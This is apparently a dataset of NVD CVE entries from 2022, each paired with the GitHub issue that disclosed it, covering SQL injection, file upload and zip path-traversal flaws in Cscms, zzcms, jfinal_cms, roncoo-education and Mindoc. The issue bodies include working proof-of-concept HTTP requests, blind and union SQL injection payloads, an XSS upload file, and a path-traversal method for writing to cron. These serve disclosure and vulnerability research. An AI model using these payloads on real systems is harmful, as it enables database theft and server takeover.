"integrityImpact": "PARTIAL",
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"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
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"attackVector": "NETWORK",
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/chshcms/cscms/issues/32#issue-1209054307"
},
{
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"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/chshcms/cscms/issues/32#issue-1209054307"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:chshcms:cscms_music_portal_system:4.2:*:*:*:*:*:*:*",
"matchCriteriaId": "4A0D50C4-3CEE-493B-86F5-8F55E1000F68",
"versionEndExcluding": null,
"versionEndIncluding": null,
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"negate": false,
"operator": "OR"
}
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}
] | [
"89"
] | 89 | https://github.com/chshcms/cscms/issues/32#issue-1209054307 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | #### Details
there is a Injection vulnerability exists in sys_User.php_level_sort
```
POST /admin.php/User/level_sort HTTP/1.1
Host: cscms.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cscms.test/admin.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_session=3lvkrqraebntvbg76ecdifg0j6vl1bpl; cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA;XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
xid[1]=(sleep(5))
```
You can see that success makes the server sleep
Construct payload to guess the database
`(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)`
There is blind SQL injection. Because the database name is "cscms", the string returned by select database() starts with 'C', substr ((select + database()), 1,1) = 'C' is true, and the verification is correct | SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/32/comments | 0 | 2022-04-20T01:30:48Z | 2022-04-20T01:30:48Z | https://github.com/chshcms/cscms/issues/32 | 1,209,054,307 | 32 | 3,671 |
CVE-2022-29686 | 2022-05-26T14:15:08.963 | CSCMS Music Portal System v4.2 was discovered to contain a blind SQL injection vulnerability via the id parameter at /admin.php/singer/admin/lists/zhuan. | {
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{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P",
"version": "2.0"
},
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"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
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"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.2,
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] | github.com | [
"chshcms",
"cscms"
] | #### Details
there is a Injection vulnerability exists in singer_Lists.php_zhuan
After logging in, the administrator needs to add a singer first. SQL injection vulnerability is generated when adding singers. The constructed malicious payload is as follows
```
POST /admin.php/singer/admin/lists/zhuan HTTP/1.1
Host: cscms.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cscms.test/admin.php/singer/admin/singer/edit?id=1&yid=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=g42fjt0uioqebo85qteg4bs56kjckdio
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
id[]=(sleep(5))&cid=5
```
You can see that success makes the server sleep
Construct payload to guess the database
`(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)
`
There is blind SQL injection. Because the database name is "cscms", the string returned by select database() starts with 'C', substr ((select + database()), 1,1) = 'C' is true, and the verification is correct
| SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/29/comments | 0 | 2022-04-20T01:14:41Z | 2022-04-20T01:16:52Z | https://github.com/chshcms/cscms/issues/29 | 1,209,046,027 | 29 | 3,672 |
CVE-2022-29687 | 2022-05-26T14:15:09.000 | CSCMS Music Portal System v4.2 was discovered to contain a blind SQL injection vulnerability via the id parameter at /admin.php/user/level_del. | {
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"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | #### Details
there is a Injection vulnerability exists in sys_User.php_level_del
The administrator needs to add a member after logging in. SQL injection vulnerability is generated when deleting the member. The constructed malicious payload is as follows
```
POST /admin.php/user/level_del HTTP/1.1
Host: cscms.test
Content-Length: 15
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/user/level?v=2012
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=6g124miit249dnkv508bnrsshc8ugiss;XDEBUG_SESSION=PHPSTORM
Connection: close
id[]=(sleep(5))
```
You can see that success makes the server sleep
Construct payload to guess the database
`(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)`
There is blind SQL injection. Because the database name is "cscms", the string returned by select database() starts with 'C', substr ((select + database()), 1,1) = 'C' is true, and the verification is correct
| SQL injection vulnerability exists in Cscms music portal system v4.2 （Discovered by 星海Lab） | https://api.github.com/repos/chshcms/cscms/issues/30/comments | 0 | 2022-04-20T01:21:31Z | 2022-04-20T01:21:31Z | https://github.com/chshcms/cscms/issues/30 | 1,209,049,714 | 30 | 3,673 |
CVE-2022-29688 | 2022-05-26T14:15:09.037 | CSCMS Music Portal System v4.2 was discovered to contain a blind SQL injection vulnerability via the id parameter at /admin.php/singer/admin/singer/hy. | {
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"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | #### Details
There is a Injection vulnerability exists in singer_Singer.php_hy
After logging in, the administrator needs to add a singer and then delete the singer. When the singer is recycled from the recycle bin, SQL injection vulnerability is generated. The injection point is ID, and the constructed malicious payload is as follows
```
GET /admin.php/singer/admin/singer/hy?id=4)and(sleep(5))--+ HTTP/1.1
Host: cscms.test
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://cscms.test/admin.php/singer/admin/singer?yid=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=8adckmrcsj3354hqhqqe0pb8hhu14j85
Connection: close
```
Discovery success makes the server sleep
Construct payload database
Because the first letter of the background database name is "c", it sleeps for 5 seconds,so the vulnerablity exisit
| SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/27/comments | 0 | 2022-04-20T01:08:46Z | 2022-04-20T01:09:36Z | https://github.com/chshcms/cscms/issues/27 | 1,209,040,138 | 27 | 3,674 |
CVE-2022-29689 | 2022-05-26T14:15:09.077 | CSCMS Music Portal System v4.2 was discovered to contain a blind SQL injection vulnerability via the id parameter at /admin.php/singer/admin/singer/del. | {
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] | github.com | [
"chshcms",
"cscms"
] | #### Details
there is a Injection vulnerability exists in singer_Singer.php_del
After logging in, the administrator needs to add a singer first and then delete the singer. When deleting the singer, SQL injection vulnerability is generated. The injection point is ID, and the constructed malicious payload is as follows
```
POST /admin.php/singer/admin/singer/del?yid=3 HTTP/1.1
Host: cscms.test
Content-Length: 4
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/singer/admin/singer?yid=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=v1ahrkd5h84dsm4ftla4ruuks41kb526
Connection: close
id=1)and(sleep(5))--+
```
You can see that success makes the server sleep
Construct payload database
There is blind SQL injection. Because the database name is "cscms", the string returned by select database() starts with 'C', substr ((select + database()), 1,1) = 'C' is true, and the verification is correct
| SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/28/comments | 0 | 2022-04-20T01:12:49Z | 2022-04-20T01:12:49Z | https://github.com/chshcms/cscms/issues/28 | 1,209,044,410 | 28 | 3,675 |
CVE-2022-30500 | 2022-05-26T16:15:08.727 | Jfinal cms 5.1.0 is vulnerable to SQL Injection. | {
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] | github.com | [
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"jfinal_cms"
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vulnerable argument passing is as following
final injection result with sqlmap
| SQLI vul1 in jfinal_cms 5.1.0 | https://api.github.com/repos/jflyfox/jfinal_cms/issues/35/comments | 1 | 2022-05-07T02:48:35Z | 2022-05-07T02:57:24Z | https://github.com/jflyfox/jfinal_cms/issues/35 | 1,228,505,078 | 35 | 3,676 |
CVE-2022-29632 | 2022-05-26T20:15:10.227 | An arbitrary file upload vulnerability in the component /course/api/upload/pic of Roncoo Education v9.0.0 allows attackers to execute arbitrary code via a crafted file. | {
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"negate": false,
"operator": "OR"
}
],
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}
] | [
"434"
] | 434 | https://github.com/roncoo/roncoo-education/issues/16 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"roncoo",
"roncoo-education"
] | [Suggested description]
File upload vulnerability in roncoo education. Because the identity is not authenticated in the uploadpic upload method of apiuploadcontroller, and the user is allowed to define the file suffix.
[Vulnerability Type]
File upload vulnerability
[Vendor of Product]
https://github.com/roncoo/roncoo-education
[Affected Product Code Base]
v9.0.0-RELEASE
[Affected Component]
```
POST /course/api/upload/pic HTTP/1.1
Host: localhost
Connection: close
Content-Length: 480
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxOJxWZtarWTvGvWD
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
------WebKitFormBoundaryxOJxWZtarWTvGvWD
Content-Disposition: form-data; name="picFile"; filename="test.html"
Content-Type: image/jpeg
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>alert('xss');</script>
</body>
</html>
------WebKitFormBoundaryxOJxWZtarWTvGvWD--
```
[Vulnerability proof]
Use the following HTML file to initiate the upload request
```
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="https://localhost/course/api/upload/pic" method="post", enctype="multipart/form-data">
<input type="file" name="picFile" />
<input type="submit" value="上传" />
</form>
</body>
</html>
```
Upload any file, here my file source code is
```
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>alert('xss');</script>
</body>
</html>
```
The server returns the following data
```
{"code":200,"msg":"","data":"http://localhost/course/e89eadfcd465481d8ca7075e8e00c412.html"}
```
<img width="1188" alt="image" src="https://user-images.githubusercontent.com/70050083/163748233-c4a4f972-4dd4-4e30-8a93-e27986be8e8e.png">
[Defective code]
<img width="905" alt="" src="https://user-images.githubusercontent.com/70050083/163748755-9743b1d9-ec02-4a3e-b9eb-ce855d0f179a.png">
<img width="814" alt="" src="https://user-images.githubusercontent.com/70050083/163748841-6ef7f4c7-8e6f-41bf-bb5f-9224942b782b.png">
| There is a File upload vulnerability exists in roncoo-education | https://api.github.com/repos/roncoo/roncoo-education/issues/16/comments | 1 | 2022-04-18T03:18:50Z | 2023-07-26T05:57:08Z | https://github.com/roncoo/roncoo-education/issues/16 | 1,206,611,439 | 16 | 3,677 |
CVE-2022-29637 | 2022-05-26T20:15:10.320 | An arbitrary file upload vulnerability in Mindoc v2.1-beta.5 allows attackers to execute arbitrary commands via a crafted Zip file. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
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"exploitabilityScore": 8.6,
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"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
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"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/mindoc-org/mindoc/issues/788"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/mindoc-org/mindoc/issues/788"
}
] | [
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"434"
] | 434 | https://github.com/mindoc-org/mindoc/issues/788 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"mindoc-org",
"mindoc"
] | 请按照一下格式提交issue，谢谢！
1. 你当前使用的是哪个版本的 MinDoc(`godoc_linux_amd64 version`)?
v2.1-beta.5
2. 你当前使用的是什么操作系统?
Centos
3. 你是如何操作的？
进入后台，我的项目，导入项目，导入恶意zip文件
4. 你期望得到什么结果?
在根目录生成RCE!.txt
5. 当前遇到的是什么结果?
生成了该文件，没有对zip文件进行过滤，导致可以任意上传文件，如果上传恶意文件到计划任务，则可以导致任意命令执行
[Suggested description]
There is an arbitrary file upload vulnerability in mindoc. Hackers can construct malicious zip files containing ".. /" to upload files to any directory. If you upload it to the scheduled task folder of Linux, you can execute any command
[Vulnerability Type]
Directory Traversal
[Vendor of Product]
https://github.com/mindoc-org/mindoc
[Affected Product Code Base]
v2.1-beta.5
[Affected Component]
First, you need to log in to the background and enter "我的项目"
<img width="1180" alt="Snipaste_2022-04-24_21-14-47" src="https://user-images.githubusercontent.com/70050083/164979302-bed6d9cb-1cb5-494a-b528-cf32617a539a.png">
Then use the "导入项目" function
<img width="1187" alt="Snipaste_2022-04-24_21-15-36" src="https://user-images.githubusercontent.com/70050083/164979290-98be3fe5-cc2e-4d69-b9e9-50606c73d643.png">
"项目标题" and "项目标识" can be filled in arbitrarily, as long as it meets its basic requirements. Then upload the constructed zip file. What I constructed here is "../../../../../../../../RCE!.txt"
[test.zip](https://github.com/mindoc-org/mindoc/files/8549799/test.zip)
<img width="931" alt="Snipaste_2022-04-24_21-17-10" src="https://user-images.githubusercontent.com/70050083/164979278-55c5e92c-335d-423f-9711-b3c082eb6ddc.png">
After clicking upload, he will create a new "RCE!.txt" in the root directory of the server
<img width="619" alt="2022-04-24 21 17 27" src="https://user-images.githubusercontent.com/70050083/164979202-9850b21d-4f30-49c6-a443-f8f5f2ae1c2e.png">
[Defective code]
`/utils/ziptil/ziptil.go`
<img width="960" alt="202204242131557" src="https://user-images.githubusercontent.com/70050083/164979248-347d1d6e-6dbd-43d3-a321-1faaf25cc00f.png">
[Discoverer]
Bingan
| There is a directory traversal vulnerability in mindoc | https://api.github.com/repos/mindoc-org/mindoc/issues/788/comments | 0 | 2022-04-24T13:42:02Z | 2022-06-27T05:16:45Z | https://github.com/mindoc-org/mindoc/issues/788 | 1,213,658,612 | 788 | 3,678 |
CVE-2019-12349 | 2022-06-02T14:15:26.183 | An issue was discovered in zzcms 2019. SQL Injection exists in /admin/dl_sendsms.php via the id parameter. | {
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"baseSeverity": "HIGH",
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"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
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"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
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"source": "cve@mitre.org",
"tags": [
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"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/cby234/zzcms/issues/2"
},
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"url": "https://github.com/cby234/zzcms/issues/2"
}
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] | [
"89"
] | 89 | https://github.com/cby234/zzcms/issues/2 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"cby234",
"zzcms"
] | Link Url : http://www.zzcms.net/about/6.htm
Edition : ZZCMS2018升2019 (2019-01-11)
0x01 Vulnerability (/admin/dl_sendsms.php line 17 ~ 37)
Let's look at SQL query part
If index of , value is not 0 sql will be
(/* if(strpos($id,",")>0) */ => line 32)
"select * from zzcms_dl where saver<>'' and id in (". $id .")"
There is no single quote for id parameter. So We can inject any sql in id parameter
(Because of IF condition We should add "," value at the last of id parameter value)
0x02 payload
give below "POC" value for post data in "/admin/dl_sendsms.php"
POC : Union SQL injection submit23=%E7%BB%99%E6%8E%A5%E6%94%B6%E8%80%85%E5%8F%91%E6%89%8B%E6%9C%BA%E7%9F%AD%E4%BF%A1%E6%8F%90%E9%86%92&pagename=dl_manage.php%3Fb%3D0%26shenhe%3D%26page%3D1&tablename=zzcms_dl&id%5B%5D=1) union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,sleep(3)-- a,
| zzcms 2019 admin/dl_sendsms.php SQL injection | https://api.github.com/repos/cby234/zzcms/issues/2/comments | 0 | 2019-05-20T08:47:25Z | 2022-06-01T11:26:46Z | https://github.com/cby234/zzcms/issues/2 | 445,994,252 | 2 | 3,680 |
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